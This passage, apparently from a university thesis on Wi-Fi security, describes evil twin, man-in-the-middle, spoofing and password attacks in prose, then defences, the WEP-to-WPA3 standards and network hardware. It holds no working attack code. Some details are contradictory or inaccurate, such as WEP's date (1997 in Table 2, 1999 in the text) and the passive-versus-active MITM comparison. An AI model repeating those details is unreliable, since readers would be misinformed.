An Evil Twin Attack is a wireless network attack where a counterfeit wireless AP is estab-
lished to resemble a legitimate AP to which users would typically connect. The attacker
deploys the false AP in proximity to the authentic AP and assigns it a Service Set Identifier
(SSID) that is either identical or comparable to the real AP's name. The imposter AP then
broadcasts its SSID, anticipating that unwary users will connect to it, assuming it is the

legitimate AP. Evil Twin attack is illustrated in the Figure 3 below.

An evil twin attack attempts to trick users into connecting to a fake AP, allowing the at-
tacker to gain unauthorized access to the network by intercepting network traffic and steal-
ing sensitive information such as login credentials, financial information, or other sensitive
data. This information can then be used by the attacker to launch additional attacks, such as

man-in-the-middle attacks, to gain even more access to the user's network.

An evil twin attack can be launched in a variety of ways, including the use of software

tools such as wireless sniffers or the creation of a fake AP using a portable wireless router.
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Attackers can also use social engineering techniques to convince users to connect to the
fake AP, such as placing the fake AP in a public place and giving it a name that suggests it

belongs to a legitimate organization or business [16].

Typical Wi-Fi Connection:
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Figure 3 Illustration of an Evil Twin attack [17]

3.1.3 Man-In-The Middle (MITM) Attack

A Man-In-The-Middle (MITM) attack is a type of cyber-attack in which the attacker will
get in the middle of a direct connection between the user and the router who believe they
are communication with each other. The MITM attack can be a consequential threat to
wireless network security because the attacker can capture and manipulate sensitive data
such as login information entered by the user, bank credentials and addition personal in-
formation. With a successful attack, the attacker can also view all the websites and have a
visual display of all the images the user is browsing through. The change in flow of the

data is demonstrated in Figure 4 below.



TBU in Zlin, Faculty of Applied Informatics 27

Server

\ / \ /
Client N N Server

MITM

Figure 4 A direct Communication Vs. A Man-In-The-Middle attack demonstration

The MITM can be classified in two groups of passive and active attacks.

In a passive MITM attack, the attacker listens in on the two parties' communication with-
out altering the data being exchanged. The attacker gathers information about the commu-
nication without interfering with its flow. Passive attacks are challenging to detect because

they do not have any indicators for the security techniques and protocols to pinpoint.

In an active MITM attack, the attacker intercepts and modifies the data exchanged between
the two parties. The attacker can modify the data in real time and inject their data into the
communication channel. Passive MITM attacks are less dangerous than active MITM at-
tacks because they can steal sensitive information such as login credentials, banking de-

tails, and other sensitive information [18].

Here are some methods an attacker can use in active and passive MITM attacks to gain

unauthorized access to a network via an AP:

Address Resolution Protocol (ARP) poisoning — IP spoofing is a method of manipulating a
device on a network to direct its data to the attackers' device instead of the intended device.
In order to perform this method of manipulation, the attacker controls the network's ARP
cache, which is in charge of linking IP addresses to physical (MAC) addresses. Once the
attacker's computer receives the traffic that is intended for the router, they can either listen

in on or change it, potentially allowing them to steal sensitive data. The attacker can use
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this new data to try to crack the password or gain unauthorized access to the router or other

devices on the network.

Dynamic Host Configuration Protocol (DHCP) spoofing is method that uses a pretentious
DHCP server that is under the control of the attacker to gain authorization access to a net-
work and steal sensitive information. The DHCP’s job is to assign each host connected to
the network an IP address, Subnet mask and other configuration information. When the
host broadcasts a request to connect to a DHCP server, the server closest in proximity will
respond first. If the illegitimate DHCP server were to be located further away than the le-
gitimate, the attacker can flood the legitimate server with DoS attacks and overwhelm it to
the point of stagnation. The attacker will then take the opportunity to utilize DHCP spoof-
ing to redirect traffic to a rogue gateway or Domain Name System (DNS) server, where
they may have already compromised a router or other network device. Once the attacker

gains access to the router, they may be able to crack the router password.

DNS spoofing uses a similar method of manipulation as ARP poisoning, except the attacker
redirects the user to a fake website or malicious server. DNS is a domain name translating
system. The system uses a human-friendly format such as www.google.com to refer to an
IP address that computers use to communicate with one another. When a user types it into
the address bar, a web browser will ask a DNS server to translate a domain name to an IP
address. The attacker takes advantage of this host/server communication by intercepting
and modifying the DNS response from the actual DNS server, tricking the user into reveal-
ing sensitive information. Once the attacker has obtained this information, they may be

able to use it to gain unauthorized access to the network.

IP spoofing works by modifying the source IP address field in an IP packet's header. When
a device on a network sends an IP packet to another device, the packet header includes a
source IP address that identifies the device that sent the packet. The receiving device uses
this information to send a response back to the correct device. To use IP spoofing for gain-
ing unauthorized access to the network, an attacker would send a series of IP packets to the
router, with the source IP address of the attacker's machine changed to appear as if the
packets are coming from an authorized network user or device. The packets are received

and processed by the router, which believes they are from an authorized user or device on
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the network. The attacker can then use this connection to gain unauthorized network ac-
cess. To crack passwords using IP spoofing, the attacker would typically need to combine

this technique with other methods [19].

3.1.4 Advanced Persistent Threat (APT) Attack

Advanced Persistent Threat is a sophisticated cyber-attack that goes undetected for an ex-
tended period. APT can target anywhere from a single computer system to a massive net-
work of computer systems. However, there is consistency in the attacks targeting an enter-
prise or an organization. APT attacks are far from random. They are incredibly strategic,
objective, and motivated towards a specific target that intelligent attackers conduct. APT is
used to gain unauthorized access to the network though a router and crack the security used
to secure that router. The most common targets of these attacks include government and
military organizations, large corporations, critical infrastructure, universities and research

institutions, and high-profile individuals.

The purpose is one of the most significant differences between an APT attack and every
other attack. Traditional attackers frequently target a wide range of victims, and if they
cannot penetrate the initial target, they will move on to something less secure. The purpose
of that traditional hacker would be financial benefits or testing the limits of the security

system employed.

On the other hand, an APT attacker can have several motives to deploy an attack, although
it depends on the attacker's objective; some well-known motives include stealing valuable
data for financial gain, competitive advantage, and political purposes and gathering top
secret information about government and military operations. Cause damage to the critical
infrastructure of an organization. Whatever the motivation for an APT attack, the attackers
are typically determined and well-funded, and the attacks are frequently sophisticated and

challenging to detect [20].

3.1.5 Password Attack

A password is a secret word or character string used to prove identity or obtain access to a
resource. A password attack is a method hackers use to gain unauthorized access to a com-
puter, connection, or account by predicting or cracking the password. There are multiple
ways an attacker can go about the attack, including brute force attacks, dictionary attacks,

social engineering attacks, etc.
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A brute force attack involves trying all possible character combinations until the
correct password is discovered. This method is time-consuming and resource-
intensive but works well if the password is weak and short.
A dictionary attack is the type of attack that employs a list of commonly used
words or phrases as passwords. The attacker attempts every word on the list until
the correct password is discovered. Because it targets the most likely passwords
first, a dictionary attack is more focused and efficient. However, it may not be ef-
fective against passwords that are not in the dictionary list or are longer and more
complex.
Social engineering password attack is a technique that is frequently used in pass-
word attacks to trick the user into disclosing their password as well as other private
information. Instead of using technical means to gain access to the password, social
engineering attacks generally involve misleading the victim through human interac-
tion. Examples of a social engineering password attack include:
o Phishing though the usage of illegitimate sites.
o Pretexting, involves the creation of a fictitious scenario or pretext to gain
the victim's trust and persuade them to reveal their password.
o Baiting, involves leaving a physical device in a public place where it will be
discovered. The device is frequently given an enticing name or description.
When the victim plugs in the device, malware that captures the victim's

password or other sensitive information may be installed [21].

In order to counteract these dangers and safeguard wireless networks and devices from

unauthorized access and data theft, numerous wireless security techniques have been de-

veloped. The following section will review some of the best methods for protecting wire-

less networks from these attacks.
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3.2 Wireless Security Techniques

In order to protect computer networks from threats such as data theft, unauthorized access,
and other wireless communication-related issues, it is crucial to use wireless security tech-
niques. As wireless networks gain popularity, it becomes more critical to utilize various
security techniques to thwart attacks and maintain the confidentiality, integrity, and availa-
bility of data. Encryption, Intrusion Detection Systems (IDS), Antivirus, Content filtering,

Authentication and authorization are some standard methods used for wireless security.

To briefly introduce these techniques, encryption renders data unreadable to anyone with-
out the decryption key, ensuring protection during transmission and storage. Intrusion de-
tection systems (IDS) identify malware, unauthorized access, and other security risks. An-
tivirus software scans networks for and eliminates viruses, malware, and other harmful
programs. Content filtering restricts access to potentially harmful or inappropriate websites
and online content. Authentication and authorization techniques ensure that only author-
ized users can access a network or its resources. These wireless security methods help keep

computer networks safe and secure data against theft and unauthorized access.

3.2.1 Encryption

A crucial aspect of Wi-F1 security is encryption, which helps protect data transmitted over
the network from unauthorized access and interception. Encryption involves converting
plain text to cipher text using an encryption algorithm and a secret key. The cipher text is
then transformed back into plaintext during the decryption process using a decryption algo-

rithm and the same secret key.
Symmetric and asymmetric encryption are the two main varieties:

o The same secret key is utilized in symmetric encryption for both encryption and
decryption. This implies that the secret key must be known by both the sender and
the recipient. A secure method of sharing the secret key is necessary for symmetric
encryption because it is quicker and more effective than asymmetric encryption.
Key lengths for symmetric encryption typically range from 128 to 256 bits.

e A public key is used for encryption and a private key is used for decryption in
asymmetric encryption. While the private key needs to be kept a secret, the public
key can be freely shared. Although slower and less effective than symmetric

encryption, asymmetric encryption does away with the need for a safe method of
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sharing the secret key. Key lengths for asymmetric encryption typically range from

1024 to 4096 bits.

An overview of different encryption protocols, algorithms, and techniques used in wireless

communication to secure data against unauthorized access and interception:

Wired Equivalent Privacy (WEP) is a wireless encryption technique that is used between
a device and an AP. To protect data transmitted over a wireless network, WEP employs the
RC4 encryption algorithm. RC4 generates a keystream, which is then combined with plain
text data to produce cipher text. The algorithm has several security flaws that make it vul-

nerable to attacks.

Temporal Key Integrity Protocol (TKIP) is a wireless encryption technique used be-
tween a device and an AP. TKIP, like WEP, is based on the RC4 stream encryption algo-
rithm but with the addition of a Message Integrity Check (MIC) to ensure the integrity of
data transmitted over a wireless network. The plain text data is hashed by the MIC, which
is then combined with the cipher text to produce the final message. TKIP was created and

designed to provide more secure encryption than the highly insecure WEP.

AES is a wireless encryption technique that is used between a device and an AP. AES em-
ploys the Rijndael algorithm, a block cipher encryption algorithm with key lengths of 128,
192, and 256 bits. The Rijndael algorithm is more secure than the RC4 algorithm used in
WEP and TKIP.

e Counter Mode with Cipher Block Chaining Message Authentication Code
Protocol (CCMP) is part of the IEEE 802.111 standard for wireless LANSs. It uses
the AES encryption algorithm in counter mode with cipher block chaining message
authentication code (CBC-MAC) protocol to provide enhanced security for wireless
networks.

¢ Galois/Counter Mode Protocol (GCMP) is used primarily in Wi-Fi networks and
is included in the IEEE 802.11ac standard. It uses the AES encryption algorithm in
Galois/Counter mode to provide enhanced security for wireless networks. The
protocol uses a combination of a block cipher in counter mode and Galois field
multiplication to encrypt data. GCMP is faster than CCMP and provides better
security for larger packet sizes, making it ideal for use in high-speed wireless

networks [22].
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In Table 2 below, the WEP, TKIP, and AES encryption algorithms are illustrated with

more details.

Table 2 Comparison of Wireless Encryption Algorithms

Encryption Key Security Mode of Used in Year in-
Algorithm | Length Strength Operation troduced
40 or
WEP 104 bits Weak RC4 Legacy 1997
. . RC4 and
TKIP 128 bits | Weak/Medium CBC-MAC Legacy 2003
. CTR with .
AES-CCMP | 128 bits Strong CBC-MAC 802.111/WPA2 2004
AES-GCMP | 128 bits Strong GCM 802.11ac/WPA3 2013

3.2.2 Intrusion Detection System (IDS)

Intrusion Detection System (IDS) looks into and identify unauthorized access to the net-
work and notify the network administrator in case of any suspicious activity. It analyzes all
the data packets going in and out of the private network. The IDS then goes through a net-
work normalization process where they begin to learn what the normal functions within the
network are like. The consistency in the communication will allow the IDS to recognize
and highlight the abnormal patterns in the exchanged data. If the IDS finds any anomaly in
the pattern, the system will send an alert [23].

The IDS security technique is specially designed to identify threats that go past the firewall
without its security measures detecting them. IDS comes in two forms:

e Host-Based Intrusion Detection (HIDS) is implemented and run on a single com-
puter, which means that the IDS will solely monitor and analyze the activity on that
computer. The source of data from which this type of IDS collects its data from to
identify an attack, is the host computer's operating system.

e Network-based Intrusion Detection (NIDS) is the more popular form of IDS. The
IDS monitors and analyzes network traffic across numerous operating systems,
switches, and routers. The scalability this type of IDS offers allows the identifica-
tion of threats and attacks that could target multiple operating systems across the

network and the network devices themselves [24].
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Given the IDS’s role in a network, it may identify and potentially prevent attacks at a large

scale. Some of the main attacks the IDS is known to recognize are:

3.23

Malware attacks. The IDS detects these types of attacks through pattern recogni-
tion, monitors the behavior in the transfer of data between different endpoints, and
analyzing suspicious traffic.

Denial of service. The IDS detects DoS attacks using various methods such as set-
ting limitations for the network traffic, pattern recognition, and sudden spikes in
traffic that could indicate an attack.

Post-scanning and probing. The IDS detects this type of attack by looking for repet-
itive connection attempts, pattern recognition and data packets with unique flags
Anomaly-based detection, Signature-based detection, and Protocol-based detection
Brute force attack. IDS uses pattern recognition in login attempts and data structure
to identify an intrusion.

Insider threats. The IDS identifies this attack by picking up in deviations from nor-

mal user behavior which could indicate a potential attack [25].

Anti-virus Software

Antivirus (AV) scans hexadecimal or binary-based files for potentially malicious patterns.

These files usually accompany software and applications downloaded by the user on the

local computer. Once these patterns are found, the AV removes them from the operating

system so that the computer can function as expected. AV can also isolate these files from

the rest of the operating system until a solution is found to treat them.

Several AV software programs are available for users nowadays, but all share fundamental

capabilities. The main capabilities include:

The ability to scan compressed files and packed executables, as well as active
scanning.

Operating continuously without interfering with a user's normal computer usage
because it runs silently in the background as a daemon or service.

For network administrators to manage and keep track of AV software across a net-
work of devices, AV software typically comes with a management console. Admin-
istrators can manage the AV software on all devices using this console's various

tools, which include update preferences, scanning schedules, and other configura-
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tions. Administrators can make sure that all devices are secure and up to date with
the most recent virus definitions by using the management console, and they can al-
so react quickly to any potential security threats that may emerge.

Additionally, self-protection drivers, firewalls, and network inspection tools are
frequently included in AV software. Users can also choose between command-line

and graphical interface options.

Beside the general functionality provided by the majority of AV software's, the software

can be useful in securing the data being transmitted wirelessly between a device and router

in several ways;

AV software can scan for malware in the data being transmitted between a device
and a router to prevent interception and theft of sensitive data.

AV software can provide firewall protection to the device and the router,
safeguarding against unauthorized access and cyber attacks. This can help in
preventing network breaches and ensuring the security of transmitted data.

AV software can support encryption protocols such as WPA?2 to ensure the security
of data transmitted between the device and the router, preventing unauthorized

access and safeguarding data from interception and theft [26].

3.2.4 Content filtering

Content filtering is a security technique that can help prevent unauthorized access to a net-

work through a router and protect against password cracking. It works by blocking access

to certain websites, emails, or IP addresses that contain specific character combinations

associated with questionable content. Such content could include violent video games, ob-

scene images, prejudiced literature, or traffic from known malicious IP addresses. By using

content filtering, users can be protected from potentially harmful online content, which can

help secure the network and prevent unauthorized access.

There are many methods of content filtering; some of the methods used in filtering web

pages include:

URL Filtering: This method limits access to websites based on their URLs. The
URL of each requested web page is compared to an administrator-created list of
URLSs that are blocked, and the filtering software decides whether to allow or block
the URL based on the result.
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e Keyword Filtering: This method entails scanning a web page's content for particu-
lar words or phrases deemed inappropriate or undesirable. To determine whether a
web page should be allowed or blocked, the filtering software compares the content
of each page to a list of keywords or phrases.

o Image Filtering: This method entails examining web page images to spot offensive
or inappropriate content. The filtering software compares an image to a database of
known inappropriate images to determine whether it should be allowed or blocked.

e Content Rating Systems: Similar to the systems used for video games or movies,
many nations have set up web content grading systems. Based on the user's age, fil-
tering software can use these ratings to decide which websites to allow or block.

o Arttificial Intelligence (Al): Filtering software can learn from user behavior and
feedback with machine learning and artificial intelligence algorithms, improving its
accuracy over time. Text, images, audio, and video content can be analyzed by Al-

based content filtering [27].

3.2.5 Authentication and Authorization

Authentication is crucial to Wi-Fi security because it ensures that only authorized users
and devices can connect to the network. Anyone within the Wi-Fi signal's range could po-
tentially connect to the network without authentication, which could result in unauthorized
access to sensitive data or other security problems. Wi-Fi networks can limit access to only
those who have the necessary credentials, such as a username and password or other secu-
rity token, by requiring authentication. This helps to ensure the confidentiality, integrity,
and availability of the data transmitted over the network as well as the protection of the

network from unauthorized access.

The act of allowing or denying access to specific resources or features based on the authen-
ticated identity of a user or device is referred to as authorization. In Wi-Fi security, after a
user or device has been authenticated, authorization determines which network resources
and functionalities they are allowed to access. This process is critical for ensuring that only
authorized users and devices can access specific network resources and features. Unauthor-
ized access to network resources and functionalities by authenticated users or devices
could lead to security breaches, data leaks, or other security issues. Therefore, authoriza-

tion is essential for Wi-Fi security [28].
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There are several types of authentication and authorization used in wireless communication

between a device and a router. Here are some common ones:

Pre-Shared Key (PSK) authentication: To establish a connection, a shared password
or passphrase must be entered on both the device and the router.

EAP: This is a more advanced authentication framework, and not a specific
authentication mechanism. It uses a server to verify the user/device's identity. It
enables the use of various authentication methods within a network, such as digital
certificates, smart cards, and biometric systems. EAP is typically used in
conjunction with other authentication protocols such as Remote Authentication
Dial-In User Service (RADIUS) and 802.1X. It provides a standardized method for
authenticating network users and devices and enables secure communication
between them.

802.1X: This is a common authentication protocol used in Wi-Fi networks. It
allows devices to be authenticated before they can access the network. 802.1X
requires users or devices to provide credentials such as a username and password or
a digital certificate in order to function.

Simultaneous Authentication of Equals (SAE) is a secure method for establishing a
shared secret key between a device and an AP in Wi-Fi security. It provides mutual
authentication via the Dragonfly Key Exchange protocol, preventing man-in-the-
middle attacks. SAE provides forward secrecy, making it more secure than WPA2-

PSK method, which is vulnerable to offline dictionary attacks [29].

The Table 3 below illustrates and categorizes detailed information about some of the Au-

thentication protocols used in this work [29].

Table 3 Comparison of Wi-Fi Authentication Protocols

Authentication Compatible Encryp-  Year of  Strength of Au-  Wi-Fi Stand-

Protocol tion Algorithms Release thentication ards
802.1X \CN(?I\I:IPTIEE)SZEC?\/IP 2001 High WPA, WPA2
PSK ggl\ifigs’gi?\-@ 2003 Low WPA, WPA2
EAP \CN(?I\I:I’PTIEE)S’.?}ECSI\/IP 2004 High WPA, WPA2
SAE AES-CCMP, AES- 2018 High WPA3

GCMP
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3.3 Wireless security standards

Wi-Fi security standards are a set of rules and procedures that employ encryption technol-
ogy to secure networks and protect clients' data. Because wireless networks are frequently
less secure than wired networks, wireless security standards are essential for keeping you
safe online. Cryptographic keys are used by Wi-Fi security standards to randomize data,
rendering it unrecognizable. Because symmetrical encryption is used in Wi-Fi systems, the

same key is used to encrypt and decrypt data.

Wi-Fi Alliance, the non-profit organization that owns the Wi-Fi trademark, certifies the
WEP and all three versions of the WPA security standards. A basic description about the

development, encryption algorithms, vulnerabilities and examples can be found below.
3.3.1

3.3.1 Wired Equivalent Privacy (WEP)

WEDP is a wireless LAN security mechanism. It was first introduced as part of the IEEE
802.11 security standard in September 1999. WEP creation responded to the need to pro-

tect wireless networks from unauthorized access and eavesdropping.

WEP was designed to provide security comparable to that of wired networks. WEP en-
crypts and decrypts data transmitted over a wireless network using a shared secret key
known as the WEP key. The key can be a 64-bit long key or a 128-bit long key. Moreover,
the cryptography of WEP is processed on two ends, the sender’s end, and the receiver’s

end.

WEP is an insecure Wi-Fi security standards due to several significant flaws. For starters,
it employs weak encryption with a 40-bit key size, making it simple for hackers to brute
force the key and gain network access. Second, WEP uses consistent Initialization Vectors
(IVs) to activate the encryption algorithm, allowing hackers to intercept and decode net-
work data. Third, WEP lacks any mechanism for checking the legitimacy of devices con-
necting to the network, leaving it open to spoofing attacks. Finally, WEP necessitates man-
ual cryptographic keys, which can be challenging to implement correctly, and keys must be

changed frequently to preserve security, making it a weak standard [29].

3.3.2 Wi-Fi Protected Access (WPA)

Wi-Fi Protected Access (WPA) was formally introduced in 2003, two years after the re-

lease of WEP. WPA was considered a hotfix release and was meant to replace the WEP
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security standard that was previously used in wireless networking. This hot fix was neces-
sary because WEP's demise had left Wi-Fi networks without viable link-layer security, and

a solution for already deployed hardware was required.

In the WPA standard users are required to use their own unique credentials (username and
password) for a successful operation of the authentication protocol. These credentials are
then used to generate a cryptographically strong session key. The following messages are
encrypted/decrypted using that session key. Furthermore, each successful authentication

protocol operation generates a unique key called the pairwise Transient Key (PTK).

For encryption, WPA employs the Temporal Key Integration Protocol (TKIP). The IEEE
802.111 task group and the Wi-Fi Alliance created TKIP to replace WEP without having to
replace legacy hardware. TKIP uses RC4 encryption algorithm but with a noticeable dif-
ference in the approach. As opposed to WEP standard that uses fixed key system, WPA
uses a dynamic per packet key system where each data packet is encrypted using the PTK

that was generated from the authentication protocol.

Even though WPA standard has several advantages over its predecessor WEP standard. It
is not considered strong enough and has several vulnerability issues. the side effects of
these vulnerabilities include attacks on the passphrase within the authentication protocol,
limited authentication options, Man-in-the-middle (MITM) attacks, and compatibility is-
sues [29].

3.3.3 Wi-Fi Protected Access 2 (WPA 2)

Wi-Fi Protected Access 2 (WPA 2) was introduced in 2004, one year after its predecessor
WPA standard. WPA2 security standard was developed for two reasons, one to resolve all
the security flaws and issues that the WPA standard had. Two to replace the very first se-

curity standard WEP with a more advanced and long-term standard.

WPA2 uses AES algorithm with a key size of 128-bit and IV of 48-bit to boot the encryp-
tion fundamentals and provide both privacy and data integrity of wireless security. The
AES algorithm is a symmetric-key algorithm, which means that the same key is used to
encrypt and decrypt data. WPA AES encryption is becoming more popular in both home
and business settings because it is more resistant to network attacks. WPA2 comes in two

different variants. The first variant known as personal mode uses PSK for authentication. It
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can be found in home routers. The second variant known as enterprise mode uses N

802.1X for authentication. It can be found in large enterprise networks.

Even though WPA2 security standard has been in use for approximately 19 years now. It
has many vulnerabilities and can not 100% protect the communication from an attack. The
attacks that can be found against the WPA2 include, Denial of Service (DoS) attack, Brute
force attack, Man-In-The-Middle (MITM) attack, and Hole 196 [30] [31].

3.3.4 Wi-Fi Protected Access 3 (WPA 3)

Wi-Fi Protected Access 3 (WPA 3) was developed in 2017 and released in 2018. It was
developed by the Wi-Fi Alliance because of an attack performed in 2017 that broke WPA2

security standard and destabilized the positive assumptions of its security.

SAE also known as Dragonfly is used by the WPA3 standard for authentication and key
management. SAE is based on a protocol called the Elliptic-curve Diffie-Hellman (ECDH)
that allows the sharing of a secret key between two ends of a communication even if the
channel is considered as insecure. This authentication protocol is considered stronger than
and meant to replace the authentication protocol PSK used in WPAZ2. For the encryption of
messages WPA3 uses 192-bit cryptographic tools, an improvement over the 128-bit en-

cryption in WPAZ2, that protects against Brute-force attacks.

WPA3 does not come without its vulnerabilities. However, the flaws were relatively lower
if compared to its predecessor, WPA2. After the release of the security standard, the flaws
in the security were pointed out and the term dragon-blood was used to describe them. The
two most popular flaws that were associated with dragon-blood were the side-channel at-
tack that allows an attacker to obtain the authentication password, and the Wi-Fi Easy
Connect function of WPA3, that allow the attacker to unveil a DoS attack by delivering a
deformed message to the network [32] [29].
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4 WI-FINETWORK INFRASTRUCTURE

This chapter provides a foundational understanding of the technologies and components
that are commonly used in in Wi-Fi networks. Understanding the various types of Wi-Fi
connections, antennas, and network interface cards can aid in identifying potential vulner-

abilities and threats in a wireless network.

4.1 Types of Connections in Wi-Fi Network (Network Topology)

Network topology refers to the physical or logical layout of a computer network. Physical
topology is concerned with the placement and number of devices, how they are intercon-
nected, and coverage area. The logical topology is concerned with the network and security
standard used for the communication. In this subchapter, the most common physical net-

work topologies of a wireless connection are described.

4.1.1 Point-to-Point Connection

Wireless Point-to-Point is the simplest type of connection between two nodes over a cer-
tain distance, illustrated in Figure 5 below. The devices that participate in a point to point
connection need to be equipped with wireless adapters that support the same Wi-Fi tech-

nologies as the corresponding device. Point-to-point also represents connection established
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Figure 5 Point-to-Point link between two buildings

Point-to-point communication between two LAN’s requires directional antennas which
receive and send out signals in one specific direction. This allows improvement in quality
and strength of the signal. However, this type of connect can be compromised if the

weather is harsh and in unfavorable condition, the line of sight is blocked or limited or
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other wireless signal are attempting to cover the same area, which could potentially lead to

interference.

4.1.2 Point-to-Multipoint Connection

Point-to-Multipoint is a form of topology that allows a connection between two or more
devices. This connection in between these devices is wireless and direct, meaning that it
does not require an intermediary device between the two endpoints to navigate the signal.
This connection is illustrated in Figure 6 below, and it provides coverage over a large area
which allows users to connect to the same network from various locations. Other ad-
vantages include the connectivity of multiple (Internet of Things) IoT applications in a
large industry, and the access of multiple devices to the internet over a single connection

that uses public Wi-Fi hotspot.

Wireless Point-to-Multipoint
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Figure 6 Point-to-Multipoint connection between several buildings

Although point-to-multipoint connections seem more advanced and capable than point-to-
point connections, both types of connections have the same disadvantages regarding

weather conditions, limited line-of-sight, and signal interference.

4.1.3 Mesh connection

Mesh connection is a type of wireless network that can be defined as an interconnection
between multiple nodes for better network coverage. Each device on this network is classi-
fied as a node that participates in a data change. The difference between the mesh connec-

tion and the previously mentioned point-to-multipoint connection is that in a mesh connec-
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tion the workload is distributed among multiple nodes to minimize the usage of bandwidth
and allow a better quality network coverage. Whereas in point-to-multipoint connection
one node serves as a hub that requires the data exchanged in the network to pass though it
to get to the receiving end, functioning similar to an AP in a centralized network. Figure 7

illustrates a wireless mesh connection.

| g g q ]

Wireless Mesh Routers

Figure 7 Mesh network between six wireless APs

Another characteristic of a mesh network is its ability to dynamically adapt to changes oc-
curring in the network structure. The network is known to be resilient to changes in effi-

ciency and signal strength, even if a node were to be added or removed from the network

[33] [34].

4.2 Antennas in Wi-Fi Networks

Antennas are devices used in the field of telecommunication for data transfer over long
distances. Radio waves are used by a transmitter antenna to broadcast data, the receiver
antenna will then pick up on the RF and receives the data. Detailed explanation about radio

wave frequency can be found in subchapter /.2.1/Radio Wave of this work.

4.2.1 Types of Antennas

Classification of the types of antennas depends on antenna radiation pattern. It is an im-
portant factor in the design and performance of the antenna, because it describes the meth-
od in which the antenna emits and receives electromagnetic waves in various directions.

The types of antenna include omnidirectional and directional.

Omnidirectional Antenna
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An omnidirectional antenna is a type of antenna that emits and receives electromagnetic
waves in a 360-degree pattern. Meaning that it is capable of communicating with devices
located anywhere around it. It is essential in wireless communication systems because of
its ability to provide coverage in any given direction. These types of antennas can be found
in a wireless AP to provide coverage over a large area, or a base station antenna for mobile

communication system.
Directional Antenna

A directional antenna is a type of antenna that emits or receives data in the form of elec-
tromagnetic waves in a specific direction, also known as unidirectional, rather than in all
directions like an omnidirectional antenna. Because the signal is sent in a specified direc-
tion, the antenna has improved signal strength and range for wireless communication sys-
tems. This type of antenna requires precision in setting up the direction and alignment in
which the data needs to be sent. It can only be used in cases where the sender has prior
knowledge of the receiver’s precise location. Directional antennas are used in fields such

as point-to-point wireless communication, satellite communication, and wireless LANs

[35].

4.2.2 Characteristics of Antenna

Antennas come with all sorts of characteristics that help achieve a network's highest poten-
tial. Considering the key components of an antenna is important due to its role in a wireless
communication system. Some of the key components include gain, beam-width, and polar-

ization.

Gain: An antenna's gain is a measurement of how well it directs radiated energy in a spe-
cific direction and is typically measured in decibels (dB). Compared to a low-gain antenna,

a high-gain antenna emits more energy in a specific direction.

Beam-width: The beam-width of an antenna is an indication of how concentrated the an-
tenna's radiation pattern is and is typically expressed in degrees. A wide beam-width indi-
cates that the antenna radiates energy over a larger area, whereas a narrow beam-width

indicates that the antenna is highly directional.

Polarization: The orientation of the signal's electric field is referred to as the antenna's
polarization. Antennas can be polarized in various ways, such as vertically, horizontally, or

cyclically [36].
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4.3 Network Interface Cards in Wi-Fi Networks

Network Interface Cards (NICs), also known as Wi-Fi adapters and network cards, are
hardware components that connect a computer to a wired or a wireless network. Regarding
Wi-Fi networks, NIC is an adapter that allows communication between a computer and a
wireless AP or router. NIC sends out the signal using a small antenna integrated onto the
card. Depending on their capabilities, NICs can support various Wi-Fi standards and fre-

quency bands, such as 2.4 GHz and 5 GHz, and have a range of speeds and distances [37].

4.3.1 Types of NIC’s

There are a few different types of Wi-Fi adapters available for users. In this section the two
most common types are described. Universal Serial Bus (USB) Wi-Fi adapter and Periph-

eral Component Interconnect Express (PCI-E).

A USB Wi-Fi adapter is a gadget that plugs into a USB port on a computer or other device
to enable the connection to a wireless network. It typically includes a radio transmitter,
receiver, and antenna for wireless signal transmission and reception. It is possible for the
adapter to support different Wi-Fi standards and security standards. It is a useful device for

desktop computers or other devices that lack built-in Wi-Fi for network connectivity.

A PCI-E Wi-Fi adapter is an accessory that plugs into a PCI-E slot on a desktop computer
to enable wireless network connectivity. It typically includes a radio transmitter, receiver,
and antenna for wireless signal transmission and reception. This Wi-Fi adapter also sup-
ports various Wi-Fi standards and security standards. It is mainly used for adding wireless
connectivity to desktop computers or to replace old wireless adapter with a faster or more

dependable one [38].

4.3.2 Characteristics of NIC

The characteristics of a NIC are based on the card's specifications, as well as the device it's
going to be used on, such as a computer, laptop, or server. Upon manufacturing of the card,
many of its characteristics are defined to ensure that the adapter can operate correctly in a

specific network environment.
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Data transfer rate also known as speed that tells how fast an adapter can send and receive
information. The rate at which the data is transferred in is measured in Megabits per sec-
ond (Mbps). The amount of available bandwidth determines how quickly data can be trans-
ferred through the NIC. The labeled speed of the NIC may be lowered if the network has a

constrained bandwidth or if multiple computers are linked to the same controller.

Media Access Control (MAC) address, Each NIC is identified on the network by a dif-
ferent MAC address.

Network protocol, a network's devices exchange data according to a set of rules called

network protocols. Ethernet, Wi-Fi, Bluetooth, and other protocols are supported by NICs.

A driver is the piece of software that enables communication between the NIC and the
computer's operating system. A NIC's corresponding driver software is downloaded and
installed each time it is installed in a computer. These drivers are necessary for the NIC to
operate properly, and they must be updated and maintained frequently to guarantee that the

NIC operates at its best.

Connectivity Light Emitting Diode (LED) is used to indicate connectivity status. The
LED will typically blink periodically when data is being transferred and the NIC is proper-
ly connected to a network. If the LED is dim or blinks erratically, there might be a connec-
tivity problem or a bad NIC driver installation. The LED can be used to diagnose network

problems and check the NIC's functionality [39].

4.4 Licensed vs. Unlicensed Frequencies in Wi-Fi networks

Frequencies are used many different applications including wireless networking. In the
context of wireless communication, 2.4 GHz and 5 GHz frequencies are used to send data
signals between devices. These frequencies fall into the licensed or unlicensed categories.
Frequencies assigned by governmental organizations are known as licensed frequencies,
and their use calls for a license. They are typically restricted to use by particular sectors of

the economy, like television or radio broadcasting, and are governed by stringent laws.

Unlicensed frequencies, on the other hand, are accessible to everyone and don't need a
permit to use. They are frequently utilized for Bluetooth gadgets, Wi-Fi networks, and oth-
er wireless technologies. 2.4 GHz and 5 GHz are the unlicensed frequency bands for Wi-Fi

networks that are most frequently used.
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In the Table 4 below are described the advantages and disadvantages of licensed and unli-

censed frequency in Wi-Fi networks [40] [41].

Table 4 Advantages and disadvantages of licensed and unlicensed Wi-Fi network

Licensed Frequencies

Unlicensed Frequencies

Less interference Free to use
Advantages Reliable performance Widely available
Guaranteed bandwidth easy to setup
Require license Susceptible to interference
Disadvantages | Higher cost Limited available spectrum

Restricted usage

shared by other devices

The regulations of licensed and unlicensed frequencies all depend of which country and

practice the frequency falls under. There are restrictions on how specific frequencies can

be used for communication in the European Union (EU). The Radio Spectrum Policy

Group (RSPG), a government organization, collaborates with the European Electronic

Communications Code (EECC) to develop and enforce these regulations. While the use of

unrestricted frequencies is governed by the Harmonized Standards for radio equipment

(RED Directive), each EU member state determines who is allowed to use those frequen-

cies in their territory. It is the duty of each EU member state to ensure that citizens abide

by these regulations [42].
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5 WI-FINETWORK COMPONENTS

